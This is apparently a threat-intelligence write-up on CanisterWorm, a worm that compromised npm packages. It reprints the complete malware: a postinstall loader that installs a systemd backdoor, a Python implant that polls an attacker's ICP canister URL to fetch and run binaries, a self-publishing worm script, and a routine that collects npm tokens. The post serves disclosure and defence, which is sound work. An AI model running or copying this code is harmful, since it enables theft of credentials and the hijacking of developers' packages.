TeamPCP deploys CanisterWorm on NPM following Trivy compromise

On 20 Mar 2026, 20:45 UTC, we detected a large number of packages being compromised on NPM with a new worm that hasn't been observed before. We're calling this specific attack CanisterWorm, because it makes use of an ICP Canister for its C2 dead-drop, which is the first time we've seen in a campaign like this.

They've compromised so far:

• 28 packages in the @EmilGroup scope
• The package @teale.io/eslint-config, which gets 7000 weekly downloads

This appears to be a direct follow-up from the attack on Trivy less than 24 hours ago, as documented in detail by Wiz, and be done by the same threat actor, TeamPCP.

‍

Technical Breakdown

Here's a breakdown of the high-level technical details of the attack:

• 🧬 Three-stage architecture. Node.js postinstall loader → persistent Python backdoor → ICP-hosted dead-drop for dynamic payload delivery.
• 🪱 Self-propagating worm. deploy.js takes npm tokens, resolves usernames, enumerates all publishable packages, bumps patch versions, and publishes the payload across the entire scope. 28 packages in under 60 seconds.
• 🔁 systemd persistence. Installs a user-level service with Restart=always. Survives reboots, restarts on crash, no root required.
• 🌐 ICP canister as C2 dead-drop. A canister on Internet Computer mainnet returns a URL pointing to a binary payload. Decentralized, censorship-resistant, no single takedown point.
• 🔄 Remote payload rotation. The canister controller can swap the URL at any time, pushing new binaries to all infected hosts without touching the implant.
• ⏱️ Sandbox evasion. 5-minute sleep before first beacon, ~50-minute poll interval after that.
• 🤫 Silent failure. The whole postinstall is wrapped in try/catch. npm install succeeds normally on all platforms; the backdoor only activates on Linux with systemd.
• 🐘 PostgreSQL masquerading. All artifacts named to blend in on developer machines: pgmon, pglog, .pg_state.
• 📄 README preservation. The worm fetches each target package's original README before publishing to keep up appearances.

Payload - Malware

Below is the main malicious payload. This file runs automatically as a postinstall hook during npm install. Here's what it does step by step:

• 🔓 Decodes the embedded payload. The long base64 string is a Python script (the second-stage backdoor we'll look at below). It gets decoded and written to ~/.local/share/pgmon/service.py.
• 🔧 Creates a systemd user service. It writes a unit file to ~/.config/systemd/user/pgmon.service that runs the Python script with Restart=always and a 5-second restart delay. No root required, no password prompt.
• 🚀 Starts the service immediately. It runs systemctl --user daemon-reload, then enables and starts the service. The backdoor is now running and will survive reboots and crashes.
• 🐘 Disguises itself as PostgreSQL tooling. The service is called pgmon, the binary it downloads later is called pglog, and the state file is .pg_state. A developer glancing at their running services wouldn't look twice.

'use strict';

const { execSync } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
} catch (_) {
  // silent
}

‍

Payload - Python Backdoor

When you decode the base64 encoded systemd payload, you get the following. This is the actual backdoor that persists on the system. It only uses Python standard library modules, so there's nothing to install.

• ⏱️ Sleeps 5 minutes before doing anything. Long enough to outlast most sandbox environments that monitor for immediate suspicious behavior.
• 📡 Phones home every ~50 minutes. Function g() contacts an ICP canister with a spoofed browser User-Agent. The canister doesn't serve malware directly. It just returns a URL as plain text, pointing to wherever the real binary is currently hosted.
• 📥 Downloads and executes whatever it's told to. Function e() fetches the binary to /tmp/pglog, marks it executable, and launches it in a fully detached process. The URL is saved to /tmp/.pg_state so it won't re-download the same payload twice.
• 🔘 Has a built-in kill switch. If the URL contains youtube[.]com, the script skips it. This is the canister's dormant state. The attacker arms the implant by pointing the canister to a real binary, and disarms it by switching back to a YouTube link.
• 🔄 Supports payload rotation. If the attacker updates the canister to point to a new URL, every infected machine picks up the new binary on its next poll. The old binary keeps running in the background since the script never kills previous processes.

import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

This payload, and the domain referenced, appear to be similar, if not identical to the sysmon.py payload from the Trivy attack. At this time, the URL returned by the C2 is a Rickroll youtube video. This could change at any time, and start serving a proper malicious payload.

Payload - Worm

The packages also includes deploy.js, a self-propagation tool the attacker runs manually to spread the malicious payload across every package a stolen npm token has access to. The worm is very simple. It appears to be entirely vibecoded, and is self-explanatory. No attempt at obfuscation was made here. This isn't triggered by npm install. It's a standalone tool the attacker runs with stolen tokens to maximize blast radius. Here's what it does:

• 🔑 Supports multiple tokens. Reads NPM_TOKENS (comma-separated) or NPM_TOKEN from the environment. Each token gets processed independently, meaning a single run can compromise multiple accounts.
• 🔍 Resolves who the token belongs to. For each token, it calls the npm /-/whoami endpoint to get the associated username. Invalid or expired tokens are skipped.
• 📦 Enumerates every package the account can publish to. Uses the npm search API with maintainer:<username>, paginated in batches of 250. This is how it discovered all 28 @emilgroup packages.
• 🔢 Bumps the patch version automatically. Fetches the current latest version of each target package and increments the patch number. 1.54.0 becomes 1.54.1, 1.97.1 becomes 1.97.2. The new version always looks like a routine patch release.
• 📄 Preserves the original README. Before publishing, it fetches the target package's existing README from the registry and swaps it in locally. After publishing, it restores its own files. This keeps the npm listing looking normal.
• 🔀 Rewrites package.json on the fly. Temporarily replaces the package name and version in the local package.json with the target's, publishes, then restores the original. One malicious skeleton, reused for every package.
• 🚀 Publishes with --tag latest. The --access public --tag latest flags ensure the malicious version becomes the default install. Anyone running npm install @emilgroup/whatever gets the compromised version.
• 🧹 Cleans up after itself. Both package.json and README.md are always restored in a finally block, even if publishing fails. The local directory looks untouched after the run.
• 📊 Prints a summary. Tracks successes and failures per token, logs everything with emoji-prefixed status lines. Ironically well-engineered for an attack tool.

‍

#!/usr/bin/env node

/**
 * deploy.js
 *
 * Iterates over a list of NPM tokens to:
 *  1. Authenticate with the npm registry and resolve your username per token
 *  2. Fetch every package owned by that account from the registry
 *  3. For every owned package:
 *       a. Deprecate all existing versions (except the new one you are publishing)
 *       b. Swap the "name" field in a temp copy of package.json
 *       c. Run `npm publish` to push the new version to that package
 *
 * Usage (multiple tokens, comma-separated):
 *   NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
 *
 * Usage (single token fallback):
 *   NPM_TOKEN=<your_token> node scripts/deploy.js
 *
 * Or set it in your environment beforehand:
 *   export NPM_TOKENS=<token1>,<token2>
 *   node scripts/deploy.js
 */

const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');

// ── Helpers ──────────────────────────────────────────────────────────────────

function run(cmd, opts = {}) {
  console.log(`\n> ${cmd}`);
  return execSync(cmd, { stdio: 'inherit', ...opts });
}

function fetchJson(url, token) {
  return new Promise((resolve, reject) => {
    const options = {
      headers: {
        Authorization: `Bearer ${token}`,
        Accept: 'application/json',
      },
    };
    https
      .get(url, options, (res) => {
        let data = '';
        res.on('data', (chunk) => (data += chunk));
        res.on('end', () => {
          try {
            resolve(JSON.parse(data));
          } catch (e) {
            reject(new Error(`Failed to parse response from ${url}: ${data}`));
          }
        });
      })
      .on('error', reject);
  });
}

/**
 * Fetches package metadata (readme + latest version) from the npm registry.
 * Returns { readme: string|null, latestVersion: string|null }.
 */
async function fetchPackageMeta(packageName, token) {
  try {
    const meta = await fetchJson(
      `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
      token
    );
    const readme = (meta && meta.readme) ? meta.readme : null;
    const latestVersion =
      (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
    return { readme, latestVersion };
  } catch (_) {
    return { readme: null, latestVersion: null };
  }
}

/**
 * Bumps the patch segment of a semver string.
 * e.g. "1.39.0" → "1.39.1"
 */
function bumpPatch(version) {
  const parts = version.split('.').map(Number);
  if (parts.length !== 3 || parts.some(isNaN)) return version;
  parts[2] += 1;
  return parts.join('.');
}

/**
 * Returns an array of package names owned by `username`.
 * Uses the npm search API filtered by maintainer.
 */
async function getOwnedPackages(username, token) {
  let packages = [];
  let from = 0;
  const size = 250;

  while (true) {
    const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
      username
    )}&size=${size}&from=${from}`;
    const result = await fetchJson(url, token);

    if (!result.objects || result.objects.length === 0) break;

    packages = packages.concat(result.objects.map((o) => o.package.name));

    if (packages.length >= result.total) break;
    from += size;
  }

  return packages;
}

/**
 * Runs the full deploy pipeline for a single npm token.
 * Returns { success: string[], failed: string[] }
 */
async function deployWithToken(token, pkg, pkgPath, newVersion) {
  // 1. Verify token / get username
  console.log('\n🔍  Verifying npm token…');
  let whoami;
  try {
    whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
  } catch (err) {
    console.error('❌  Could not reach the npm registry:', err.message);
    return { success: [], failed: [] };
  }

  if (!whoami || !whoami.username) {
    console.error('❌  Invalid or expired token — skipping.');
    return { success: [], failed: [] };
  }

  const username = whoami.username;
  console.log(`✅  Authenticated as: ${username}`);

  // 2. Fetch all packages owned by this user
  console.log(`\n🔍  Fetching all packages owned by "${username}"…`);
  let ownedPackages;
  try {
    ownedPackages = await getOwnedPackages(username, token);
  } catch (err) {
    console.error('❌  Failed to fetch owned packages:', err.message);
    return { success: [], failed: [] };
  }

  if (ownedPackages.length === 0) {
    console.log('   No packages found for this user. Skipping.');
    return { success: [], failed: [] };
  }

  console.log(`   Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);

  // 3. Process each owned package
  const results = { success: [], failed: [] };

  for (const packageName of ownedPackages) {
    console.log(`\n${'─'.repeat(60)}`);
    console.log(`📦  Processing: ${packageName}`);

    // 3a. Fetch the original package's README and latest version
    const readmePath = path.resolve(__dirname, '..', 'README.md');
    const originalReadme = fs.existsSync(readmePath)
      ? fs.readFileSync(readmePath, 'utf8')
      : null;

    console.log(`   📄  Fetching metadata for ${packageName}…`);
    const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);

    // Determine version to publish: bump patch of existing latest, or use local version
    const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
    console.log(
      latestVersion
        ? `   🔢  Latest is ${latestVersion} → publishing ${publishVersion}`
        : `   🔢  No existing version found → publishing ${publishVersion}`
    );

    if (remoteReadme) {
      fs.writeFileSync(readmePath, remoteReadme, 'utf8');
      console.log(`   📄  Using original README for ${packageName}`);
    } else {
      console.log(`   📄  No existing README found; keeping local README`);
    }

    // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
    const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
    const tempPkg = { ...pkg, name: packageName, version: publishVersion };
    fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');

    try {
      run('npm publish --access public --tag latest', {
        env: { ...process.env, NPM_TOKEN: token },
      });
      console.log(`✅  Published ${packageName}@${publishVersion}`);
      results.success.push(packageName);
    } catch (err) {
      console.error(`❌  Failed to publish ${packageName}:`, err.message);
      results.failed.push(packageName);
    } finally {
      // Always restore the original package.json
      fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');

      // Always restore the original README
      if (originalReadme !== null) {
        fs.writeFileSync(readmePath, originalReadme, 'utf8');
      } else if (remoteReadme && fs.existsSync(readmePath)) {
        // README didn't exist locally before — remove the temporary one
        fs.unlinkSync(readmePath);
      }
    }
  }

  return results;
}

// ── Main ─────────────────────────────────────────────────────────────────────

(async () => {
  // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
  const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
  const tokens = rawTokens
    .split(',')
    .map((t) => t.trim())
    .filter(Boolean);

  if (tokens.length === 0) {
    console.error('❌  No npm tokens found.');
    console.error('    Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
    process.exit(1);
  }

  console.log(`🔑  Found ${tokens.length} token(s) to process.`);

  // 2. Read local package.json once
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const newVersion = pkg.version;

  // 3. Iterate over every token
  const overall = { success: [], failed: [] };

  for (let i = 0; i < tokens.length; i++) {
    const token = tokens[i];
    console.log(`\n${'═'.repeat(60)}`);
    console.log(`🔑  Token ${i + 1} / ${tokens.length}`);

    const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
    overall.success.push(...success);
    overall.failed.push(...failed);
  }

  // 4. Overall summary
  console.log(`\n${'═'.repeat(60)}`);
  console.log('📊  Overall Deploy Summary');
  console.log(`   ✅  Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
  console.log(`   ❌  Failed    (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);

  if (overall.failed.length > 0) {
    process.exit(1);
  }
})();

Update: CanisterWorm Learns to Self-Propagate

About an hour after the initial @emilgroup wave, the attacker pushed a significant upgrade to @teale.io/eslint-config versions 1.8.11 and 1.8.12 (21:16-21:21 UTC). The worm is no longer a manual tool. It now self-propagates.

In the @emilgroup versions, deploy.js was a standalone script the attacker ran manually with stolen tokens. Victims got the backdoor, but the worm didn't spread further on its own. That changed. The new index.js adds a findNpmTokens() function that runs during postinstall and actively harvests npm authentication tokens from the victim's machine.

'use strict';

const { execSync, spawn } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

function findNpmTokens() {
  const tokens = new Set();
  const homeDir = os.homedir();
  const npmrcPaths = [
    path.join(homeDir, '.npmrc'),
    path.join(process.cwd(), '.npmrc'),
    '/etc/npmrc',
  ];
  for (const rcPath of npmrcPaths) {
    try {
      const content = fs.readFileSync(rcPath, 'utf8');
      for (const line of content.split('\n')) {
        const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
        if (m && m[1] && !m[1].startsWith('${')) {
          tokens.add(m[1].trim());
        }
      }
    } catch (_) {}
  }
  const envKeys = Object.keys(process.env).filter(
    (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
  );
  for (const key of envKeys) {
    const val = process.env[key] || '';
    for (const t of val.split(',')) {
      const trimmed = t.trim();
      if (trimmed) tokens.add(trimmed);
    }
  }
  try {
    const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
      stdio: ['pipe', 'pipe', 'pipe'],
    }).toString().trim();
    if (configToken && configToken !== 'undefined' && configToken !== 'null') {
      tokens.add(configToken);
    }
  } catch (_) {}
  return [...tokens].filter(Boolean);
}

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'hello123';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });

  try {
    const tokens = findNpmTokens();
    if (tokens.length > 0) {
      const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
      if (fs.existsSync(deployScript)) {
        spawn(process.execPath, [deployScript], {
          detached: true,
          stdio: 'ignore',
          env: { ...process.env, NPM_TOKENS: tokens.join(',') },
        }).unref();
      }
    }
  } catch (_) {}
} catch (_) {}

This is the same systemd backdoor as before, but with one critical addition at the bottom: after installing the persistent service, it scrapes every npm token it can find and spawns the worm with them.

• 🔍 Scrapes .npmrc files. Checks ~/.npmrc (user config), .npmrc in the current working directory (project config), and /etc/npmrc (global config). Parses each line for _authToken values. Smart enough to skip template variables like ${NPM_TOKEN} that haven't been interpolated.
• 🔍 Scrapes environment variables. Looks for NPM_TOKEN, NPM_TOKENS, and anything matching *NPM*TOKEN*. Splits on commas to handle multi-token variables. This catches most CI/CD setups.
• 🔍 Queries npm config directly. Runs npm config get //registry.npmjs.org/:_authToken as a subprocess to catch tokens stored outside .npmrc files.
• 🪱 Auto-spawns the worm. If any tokens are found, it launches deploy.js as a fully detached background process with the stolen tokens. The detached: true and .unref() mean the worm keeps running even after npm install finishes.

This is the point where the attack goes from "compromised account publishes malware" to "malware compromises more accounts and publishes itself." Every developer or CI pipeline that installs this package and has an npm token accessible becomes an unwitting propagation vector. Their packages get infected, their downstream users install those, and if any of them have tokens, the cycle repeats.

The ICP backdoor payload was swapped out for hello123, a dummy test string that decodes to garbage bytes. When systemd tries to run it as Python, it crashes immediately, but with Restart=always set the service silently restarts every 5 seconds. The attacker shipped the plumbing first to validate the full chain (token harvesting, worm spawning, systemd persistence) before arming it with the real payload.

If this had shipped with the full ICP backdoor, every compromised developer's packages would have become a new infection vector. The plumbing works. They just haven't turned the faucet on yet.

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This is a developing story, stay tuned for updates...